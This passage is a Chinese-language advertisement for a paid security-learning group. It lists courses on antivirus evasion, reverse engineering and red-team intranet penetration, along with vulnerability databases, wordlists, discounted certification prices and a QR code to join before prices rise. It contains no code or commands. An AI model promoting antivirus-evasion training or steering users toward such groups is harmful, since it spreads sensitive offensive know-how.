13、免杀、逆向、红队攻内网防渗透等课程分享
|
||||
14、漏洞库&字典以各种内容不在一一说明
|
||||
15、cisp-pte/pts&nisp一级&nisp二级&edusrc证书内部价格
|
||||
15、如果有漏洞挖掘问题或者工具资料需求可以找群主(尽量满足)
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**目前800多条内容，扫描下方二维码查看详情以及加入圈子，持续更新中。。**
|
||||
|
||||
**如果觉得合适可以加入，价格不定期会根据圈子内容和圈子人数进行上调。。**
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user